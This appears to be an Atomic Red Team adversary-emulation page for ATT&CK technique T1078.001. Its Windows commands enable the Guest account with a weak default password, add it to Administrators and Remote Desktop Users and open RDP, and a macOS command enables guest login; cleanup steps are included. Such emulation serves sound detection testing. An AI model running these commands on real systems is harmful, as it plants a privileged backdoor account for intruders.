# T1078.001 - Valid Accounts: Default Accounts

## Description from ATT&CK

> Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
> 
> Default accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
> 
> Default accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account’s credentials (for example, via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212) on the vCenter host), they will then have access to the ESXi server.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Pentera vCenter Information Disclosure)

[Source](https://attack.mitre.org/techniques/T1078/001)

## Atomic Tests

- [Atomic Test #1: Enable Guest account with RDP capability and admin privileges](#atomic-test-1-enable-guest-account-with-rdp-capability-and-admin-privileges)
- [Atomic Test #2: Activate Guest Account](#atomic-test-2-activate-guest-account)
- [Atomic Test #3: Enable Guest Account on macOS](#atomic-test-3-enable-guest-account-on-macos)

### Atomic Test #1: Enable Guest account with RDP capability and admin privileges

After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
and desktop will allow multiple RDP connections.

**Supported Platforms:** Windows

**auto_generated_guid:** `99747561-ed8d-47f2-9c91-1e5fde1ed6e0`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| guest_user | Specify the guest account | string | guest|
| guest_password | Specify the guest password | string | Password123!|
| local_admin_group | Specify the admin localgroup name | string | Administrators|
| remote_desktop_users_group_name | Specify the remote desktop users group name | string | Remote Desktop Users|
| remove_rdp_access_during_cleanup | Set to 1 if you want the cleanup to remove RDP access to machine | integer | 0|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
```

#### Cleanup Commands

```cmd
net user #{guest_user} /active:no >nul 2>&1
net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)
```
### Atomic Test #2: Activate Guest Account

The Adversaries can activate the default Guest user. The guest account is inactivated by default

**Supported Platforms:** Windows

**auto_generated_guid:** `aa6cb8c4-b582-4f8e-b[PII_REDACTED]4abda`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| guest_user | Specify the guest account | string | guest|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
net user #{guest_user} /active:yes
```

#### Cleanup Commands

```cmd
net user #{guest_user} /active:no
```
### Atomic Test #3: Enable Guest Account on macOS

This test enables the guest account on macOS using sysadminctl utility.

**Supported Platforms:** macOS

**auto_generated_guid:** `0315bdff-4178-47e9-81e4-f31a6d23f7e4`

#### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```sh
sudo sysadminctl -guestAccount on
```

#### Cleanup Commands

```sh
sudo sysadminctl -guestAccount off
```